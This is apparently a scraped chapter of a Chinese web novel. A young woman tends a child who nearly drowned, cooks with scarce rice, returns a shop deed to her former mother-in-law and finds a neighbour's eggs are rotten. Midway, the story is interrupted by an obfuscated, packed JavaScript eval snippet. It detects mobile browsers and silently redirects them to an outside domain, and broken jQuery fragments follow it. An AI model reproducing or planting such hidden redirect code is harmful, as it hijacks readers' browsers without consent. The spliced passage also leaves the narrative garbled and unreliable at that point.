10. 第 10 章

作品:《荷月带锄归

    程雪衣进了院墙,见那郎中迈入门槛进了屋。秦莫如出门迎接,面露愁容,忙着引路。程雪衣和多橘主仆二人,跟随其后,也进了堂屋。


    “烦请大夫给烨哥儿好好瞧瞧,这孩子贪玩落入水中,现下昏迷不醒。”秦莫如捏着帕子,垂首掩住情绪。


    只见烨哥儿躺在炕上,一动不动。双目下乌黑发青,嘴唇惨白,额间头发滴答淌水。


    “快!先打盆热水来,将手脚捂热,把湿衣服脱下来。”郎中转头对秦莫如疾言道。


    秦莫如下意识地点头,双脚却僵在原地,挪动不得半步。


    程雪衣忙上前搀扶,“娘,我先扶您到那边去坐。”


    她见身边站着的人是程雪衣,回过神来,身子发颤道:“程姐儿,你怎的又回来了?”


    来不及和秦莫如细说,程雪衣吩咐多橘去灶房烧水,然后将盈姐儿拉到秦莫如身旁。


    “大夫,烨哥儿不要紧吧?”程雪衣凑到跟前,看着郎中打开药箱,从里面取出针包,将其摊在桌面上,遂又取出三五根银针,放在烛火上烘烤。待银针消毒完毕,那郎中在烨哥儿身体上分别选了几处施了针。


    稍过片刻,烨哥儿睫毛颤动,嘴巴蠕动半晌,又昏睡过去。


    “幸好娃娃命大,小娘子不必忧心,等他醒了,服上几天驱寒退热的汤药,便又能活蹦乱跳了。”


    郎中转身坐下,拿出纸笔,不消片刻开具一道药方。他让程雪衣明日按方抓药,不日后便可药到病除。


    程雪衣连连道谢,从袖口掏出诊金,又将郎中好生送了出去。


    多橘烧好热水后,忙端进来,与程雪衣一起为烨哥儿擦身,又换了身干净的衣服。待全部弄妥帖后,月亮已高挂树梢。程雪衣将挽起的衣袖放下,来到秦莫如身旁。


    “辛苦你了,程姐儿,要不是你,我真不知该如何是好。”秦莫如憋泪道。盈姐儿在一旁嗦着手指,肚子咕噜噜响了起来。


    程雪衣拉过秦莫如的手,轻轻抚摸她的背,温柔道:“娘,您和盈姐儿早就饿了吧,等先吃过晚饭再说吧。”


    秦莫如点了点头,拽着盈姐儿起身就要往灶房去,忽见端着水盆走得急的多橘,疑惑道:“这位小娘子是何人?”


    多橘急忙上前,敛衽行礼道:“沈夫人,我是姐儿的贴身丫鬟,叫多橘。”


    秦莫如看着多橘伶俐懂事的样子,连声道好。


    还未等秦莫如转身走去,程雪衣率先堵在门口:“娘,你和盈姐儿回屋照管烨哥儿,我和多橘去备饭。”


    秦莫如拗不过程雪衣,只得领着盈姐儿回了东屋看视烨哥儿。


    —


    夜里寂静,程雪衣和多橘在灶房翻寻食物,可抬眼望去,桌面灶台空空如也。


    程雪衣手指扫过锅盖上的灰尘,吹了吹,皱起眉道:“怎的一点能吃的东西都没有?”


    “姐儿,这还有点米粒。”多橘忙兴奋道,从橱柜中拿出一只黑碗,俯身使劲儿收刮,可最终只盛出半碗粳米。


    “三个大人,两个小朋友,这些米怎够填饱肚子?”程雪衣看着碗中的粳米不由发起愁来。


    过了片刻,程雪衣拍腿振作道:“今晚我们暂先垫补一口,等明天天一亮,再想办法填饱肚子。”


    说着,程雪衣挽起袖子便要动手。刷净铁锅、添水、下米、盖上锅盖,一套动作下来,她鼻尖沁出细汗,抬手擦了擦脸上的灰渍。


    多橘守在灶台边,用力拉着风箱,炉膛里的火烧得旺,照得她小脸通红。


    “火好像有些旺,再抽出两根木头吧。”程雪衣将耳朵贴在锅盖上听着粳米声响,饭快要熟了。


    “好。”多橘拿出烧得通红的木头,放在秽水桶里,烧红的木头瞬间变成焦炭状。


    又过片刻,程雪衣约莫时间差不多了,便掀起锅盖。


    一阵甜香的米饭味扑面而来,程雪衣鼻翼翕动,满意地拍拍手道:“大功告成!”


    多橘立刻从小杌上起身,往前凑了凑,用手扇动米饭的香气,连连赞道:“姐儿,你可真厉害。”


    待盛好饭后,程雪衣又从酱菜缸里盛出一小碟芥菜齑,同多橘前后脚进了正堂。


    多橘摆放餐具,程雪衣轻手轻脚进门去唤秦莫如吃饭。听见程雪衣的脚步声,秦莫如给熟睡的两个孩子掖好被子,蹑手蹑脚地离开。


    “娘,盈姐儿睡下啦?”


    “刚才闹着肚子饿,现下已经睡熟了。”


    秦莫如坐定,程雪衣方挨着她坐下,多橘则站在程雪衣身侧服侍用饭。


    “多橘姑娘也坐下,一并用饭吧。”秦莫如招手示意。


    程雪衣拉着多橘的手,说道:“累了一天,赶快坐下一起吃吧。”


    “诶。”多橘福了福身,挨着程雪衣坐下。


    饭毕,秦莫如取帕子擦了擦嘴,拉起程雪衣的手,心里不是滋味:“你能回来看我,我心中欢喜,可眼下我……实在没心力照顾你了。”


    程雪衣刚想开口唤‘娘’,又觉得不妥,忙改口道:“秦娘子。”


    “嗯。”秦莫如嗡声道。


    “我此行来是有重要事情,要告知您的。”


    秦莫如忙正身坐好,认真听她道:“自我离去,一路生出不少事端。沈家叔婶送我回柳州后,才知我爹娘皆去了东京府。后来沈家叔叔因为赌钱惹下祸事……”她继续道:“幸得云檀相救,我和多橘才得以逃脱。”


    程雪衣将前因后果给秦莫如细细说了,期间,多橘倒了两碗清水,便去西屋收拾床铺去了。


    “现下既已和沈家解除婚约,怕是再叫‘娘’便不妥了。”


    程雪衣一时不知如何应答,想了半晌,说道:“嗯……不如让我做您的干女儿,唤您一声‘干娘’吧?”


    秦莫如自是高兴,连连点头应道:“好,干女儿好。”


    “干娘,我此行是为了将干爹留下的铺子契约,送还给您的,您务必保管好,千万别让沈家叔叔再夺了去。”


    说罢,程雪衣从上衣夹缝中掏出契约,递交到秦莫如手上。


    “这铺子契约,怎的在君昌手上?”


    说起这个铺子,还有些来头。沈君卓与沈君昌原系同父异母的兄弟,沈君卓是庶长子,沈君昌则为正妻所生。其父临终前,将大半部分的田产店铺皆留给了嫡子,至于沈君卓只分到两间铺子和老家的几亩良田。


    “若不是沈君昌因为赌博无力还债,弄得一张伪契蒙骗王掌柜,我也不会知晓他手里有铺子契约。我也是使了点手段,才将这张真契约拿到手,您务必好生保管,万不可弄丢。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16083536|179467||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    秦莫如虽知沈君昌夫妇二人是贪图便宜之人,没想到竟包藏祸心,觊觎这点薄产,不禁胆寒。她怔了片刻,拉起程雪衣的手:“程姐儿,难为你了。”


    桌上的烛火颤动,燃起阵阵黑烟。秦莫如依靠在程雪衣的怀里,低声哭泣。


    说罢,秦莫如自回东屋歇息去了,程雪衣和多橘二人挤在一张榻上歇下了。


    —


    翌日早晨,院内黄狗在柴门处吠咬几声,就朝正堂门首跑了过来。


    那黄狗饿得皮包骨头似的,晃着尾巴,颠颠儿朝程雪衣跑了过来。程雪衣揉搓着眼睛,见它围在脚下撕咬裙边,轻喝一声:“好狗儿,快一边玩去。”


    黄狗又跑向远处,吠声更加狂躁,程雪衣远远地看着,见一妇人躲在矮墙外,不停徘徊。


    “程姐儿,何事这般动静?”秦莫如梳洗完毕,端着洗手盆来到屋外。


    “干娘,外面好像有人。”


    秦莫如顺着程雪衣的视线望向远处,觉得身形熟悉,顺手将木盆搁在地上,款步上前。程雪衣也一并跟了上去。


    “莫如嫂子。”妇人径直走过来,裹着青布头巾,穿一身湖绿色布衣,臂弯上还挎着一个小篮子,篮子上用绢布蒙着。


    “贺家妹子,你怎么来了?”秦莫如上前几步,寒暄道。


    程雪衣见那妇人脸上布满雀斑,身材瘦弱,手上却有把子气力,一把将身后的男娃娃拉到秦莫如跟前。


    “快给秦大娘赔个礼!”男娃娃又重新跑回贺玉莲的身后,双手紧紧拽着母亲的裤子,探头望着,嘴巴紧紧抿着。


    “嫂子,晔哥儿怎么样了?好些了么?”贺玉莲边说边又把男娃娃拽到前面,逼着他行礼。


    “夜里一直发热,刚才摸着烧热退去不少,还得将养些日子看看。”秦莫如神色黯淡,又勾起伤心事,声音沉道。


    贺玉莲上前握住秦莫如的手道:“昨儿,晔哥儿和章哥儿在河边玩耍,许是河边青苔多,不小心失足滑落河底,这才出了事。”


    秦莫如沉默半晌,她又说道:“晔哥儿人没事就好,我带了些鸡蛋,拿给晔哥儿补身体。”贺玉莲掀开绢布,篮子里面装着七八个鸡蛋。


    “还是拿回去自己吃吧。”秦莫如婉拒道。


    程雪衣在一旁看得真切,贺玉莲看似领着孩子前来道歉,却将晔哥儿失足落水的事情与自家娃娃撇得干净。于是,她上前搀扶秦莫如的胳膊,低语道:“干娘,家里没甚吃食了,晔哥儿需要补些营养,暂且收下吧。”


    秦莫如听了会意,便上前接过篮子,对程雪衣说道:“程姐儿,去把篮子腾空了还给贺娘子。”


    章哥儿在贺玉莲身后站得不老实,晃悠着身子,朝程雪衣做了个鬼脸。


    程雪衣鼓了鼓嘴,没搭理章哥儿,转身朝灶房去了。


    待将鸡蛋放好,程雪衣又将小篮子重新交给贺玉莲。贺玉莲又劝了秦莫如几句,领着章哥儿回去了。


    有了这几个鸡蛋,早饭算是有了着落,程雪衣回到灶房,打算蒸碗鸡蛋羹,大家分食。


    她取鸡蛋在瓷碗上磕了磕,只见蛋黄和蛋清顺着碗壁滑入碗底,浑浊一片。程雪衣低头闻了闻,一股腥臭扑鼻而来。


    好个贺玉莲!竟然送来几个臭鸡蛋。她端着碗,忙朝院门外追去。